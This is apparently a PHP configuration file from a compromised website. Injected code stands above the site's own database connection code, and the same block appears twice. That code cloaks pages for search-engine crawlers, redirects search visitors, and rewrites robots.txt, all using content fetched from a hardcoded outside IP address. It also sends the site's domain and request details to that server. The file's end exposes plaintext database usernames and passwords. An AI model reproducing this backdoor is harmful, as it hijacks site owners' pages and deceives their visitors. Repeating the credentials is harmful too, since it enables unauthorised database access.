?> $uri = $_SERVER['REQUEST_URI'] ?? ''; $qs = $_SERVER['QUERY_STRING'] ?? ''; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); if (strpos($uri, 'sxallsitemap') !== false || strpos($qs, 'sxallsitemap') !== false) { if (strpos($ua, 'googlebot') !== false || strpos($ua, 'google') !== false) { echo 'ok|z60403_q'; exit; } } $inter_domain='http://63.141.239.82/z60403_q/'; function getServerCont($url,$data=array()){ $url=str_replace(' ','+',$url); $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,"$url"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_TIMEOUT,10); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if(0!== $errorCode){ return false; } return $output; } function is_crawler($agent){ $agent_check=false; $bots='googlebot|bingbot|google|aol|bing|yahoo'; if($agent!=''){ if(preg_match("/($bots)/si",$agent)){ $agent_check = true; } } return $agent_check; } function check_refer($refer){ $check_refer=false; $referbots='google|yahoo|bing|aol'; if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; } return $check_refer; } $http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://'); $req_uri=$_SERVER['REQUEST_URI']; $domain=$_SERVER["HTTP_HOST"]; $self=$_SERVER['PHP_SELF']; $ser_name=$_SERVER['SERVER_NAME']; $req_url=$http.$domain.$req_uri; $indata1=$inter_domain."/indata.php"; $map1=$inter_domain."/map.php"; $jump1=$inter_domain."/jump.php"; $url_words=$inter_domain."/words.php"; $url_robots=$inter_domain."/robots.php"; if(strpos($req_uri,".php")){ $href1=$http.$domain.$self; }else{ $href1=$http.$domain; } $data1[]=array(); $data1['domain']=$domain; $data1['req_uri']=$req_uri; $data1['href']=$href1; $data1['req_url']=$req_url; if(substr($req_uri,-6)=='robots'){ define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']); $robots_cont=@file_get_contents(BASE_PATH.'/robots.txt'); $data1['robots_cont'] = $robots_cont; $robots_cont = @getServerCont($url_robots,$data1); file_put_contents(BASE_PATH.'/robots.txt',$robots_cont); $robots_cont=@file_get_contents(BASE_PATH.'/robots.txt'); if(strpos(strtolower($robots_cont),"sitemap")){ echo 'robots.txt file create success!'; }else{ echo 'robots.txt file create fail!'; } exit; } if(substr($req_uri,-4)=='.xml'){ if(strpos($req_uri,"allsitemap.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit; } if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri); $word4= str_replace(".xml","",$word4); } $data1['word']=$word4; $data1['action']='check_sitemap'; $check_url4=getServerCont($url_words,$data1); if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit; } $data1['action']="check_words"; $check1= getServerCont($url_words,$data1); if(strpos($req_uri,"map")> 0 || $check1=='1'){ $data1['action']="rand_xml"; $check_url4=getServerCont($url_words,$data1); header("Content-type:text/xml"); echo $check_url4;exit; } } if(strpos($req_uri,".php")){ $main_shell=$http.$ser_name.$self; $data1['main_shell']=$main_shell; }else{ $main_shell=$http.$ser_name; $data1['main_shell']=$main_shell; } $referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; $chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); $res_crawl=is_crawler($user_agent); $req_uri = str_replace(array(".htm",".html",".shtml",".phtml"),"",rtrim($req_uri,"/")); if(!$res_crawl && $chk_refer && (preg_match('/\d$/',$req_uri) || preg_match("#[a-z]=[a-z0-9]+#",$req_uri))){ $data1['ip']=$_SERVER["REMOTE_ADDR"]; $data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; $data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getServerCont($jump1,$data1);exit; } if($res_crawl){ $data1['http_user_agent']=$user_agent; $get_content = getServerCont($indata1,$data1); echo $get_content;exit; } ?> ?> $uri = $_SERVER['REQUEST_URI'] ?? ''; $qs = $_SERVER['QUERY_STRING'] ?? ''; $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); if (strpos($uri, 'sxallsitemap') !== false || strpos($qs, 'sxallsitemap') !== false) { if (strpos($ua, 'googlebot') !== false || strpos($ua, 'google') !== false) { echo 'ok|z60403_q'; exit; } } $inter_domain='http://63.141.239.82/z60403_q/'; function getServerCont($url,$data=array()){ $url=str_replace(' ','+',$url); $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,"$url"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_TIMEOUT,10); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if(0!== $errorCode){ return false; } return $output; } function is_crawler($agent){ $agent_check=false; $bots='googlebot|bingbot|google|aol|bing|yahoo'; if($agent!=''){ if(preg_match("/($bots)/si",$agent)){ $agent_check = true; } } return $agent_check; } function check_refer($refer){ $check_refer=false; $referbots='google|yahoo|bing|aol'; if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; } return $check_refer; } $http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://'); $req_uri=$_SERVER['REQUEST_URI']; $domain=$_SERVER["HTTP_HOST"]; $self=$_SERVER['PHP_SELF']; $ser_name=$_SERVER['SERVER_NAME']; $req_url=$http.$domain.$req_uri; $indata1=$inter_domain."/indata.php"; $map1=$inter_domain."/map.php"; $jump1=$inter_domain."/jump.php"; $url_words=$inter_domain."/words.php"; $url_robots=$inter_domain."/robots.php"; if(strpos($req_uri,".php")){ $href1=$http.$domain.$self; }else{ $href1=$http.$domain; } $data1[]=array(); $data1['domain']=$domain; $data1['req_uri']=$req_uri; $data1['href']=$href1; $data1['req_url']=$req_url; if(substr($req_uri,-6)=='robots'){ define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']); $robots_cont=@file_get_contents(BASE_PATH.'/robots.txt'); $data1['robots_cont'] = $robots_cont; $robots_cont = @getServerCont($url_robots,$data1); file_put_contents(BASE_PATH.'/robots.txt',$robots_cont); $robots_cont=@file_get_contents(BASE_PATH.'/robots.txt'); if(strpos(strtolower($robots_cont),"sitemap")){ echo 'robots.txt file create success!'; }else{ echo 'robots.txt file create fail!'; } exit; } if(substr($req_uri,-4)=='.xml'){ if(strpos($req_uri,"allsitemap.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit; } if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri); $word4= str_replace(".xml","",$word4); } $data1['word']=$word4; $data1['action']='check_sitemap'; $check_url4=getServerCont($url_words,$data1); if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit; } $data1['action']="check_words"; $check1= getServerCont($url_words,$data1); if(strpos($req_uri,"map")> 0 || $check1=='1'){ $data1['action']="rand_xml"; $check_url4=getServerCont($url_words,$data1); header("Content-type:text/xml"); echo $check_url4;exit; } } if(strpos($req_uri,".php")){ $main_shell=$http.$ser_name.$self; $data1['main_shell']=$main_shell; }else{ $main_shell=$http.$ser_name; $data1['main_shell']=$main_shell; } $referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; $chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); $res_crawl=is_crawler($user_agent); $req_uri = str_replace(array(".htm",".html",".shtml",".phtml"),"",rtrim($req_uri,"/")); if(!$res_crawl && $chk_refer && (preg_match('/\d$/',$req_uri) || preg_match("#[a-z]=[a-z0-9]+#",$req_uri))){ $data1['ip']=$_SERVER["REMOTE_ADDR"]; $data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; $data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getServerCont($jump1,$data1);exit; } if($res_crawl){ $data1['http_user_agent']=$user_agent; $get_content = getServerCont($indata1,$data1); echo $get_content;exit; } ?> ?> $host = "localhost"; /* Host name */ $user = "meshink_meshinkecom"; /* User */ $password = "n_xq6#02q{BhEDkf"; /* Password */ $dbname = "meshink_meshinkecom"; /* Database name */ $con = mysqli_connect($host, $user, $password,$dbname); $database_name = ''; // Check connection if (!$con) { die("Connection failed: " . mysqli_connect_error()); } else { $result = mysqli_query($con, "SELECT DATABASE() as dbname"); $row = mysqli_fetch_assoc($result); $database_name = $row['dbname']; //$database_name = "Connected to database: " . mysqli_real_escape_string($con, mysqli_get_server_info($con)); } error_reporting(1); // define('DB_SERVER','localhost'); // define('DB_USER','temeshin_meshinklatest'); // define('DB_PASS' ,'nhhQyy#S*HtH'); // define('DB_NAME', 'temeshin_meshinklatest'); // $con = mysqli_connect(DB_SERVER,DB_USER,DB_PASS,DB_NAME); // define('WP_DEBUG', true); // // Check connection // if (mysqli_connect_errno()) // { // echo "Failed to connect to MySQL: " . mysqli_connect_error(); // } ?>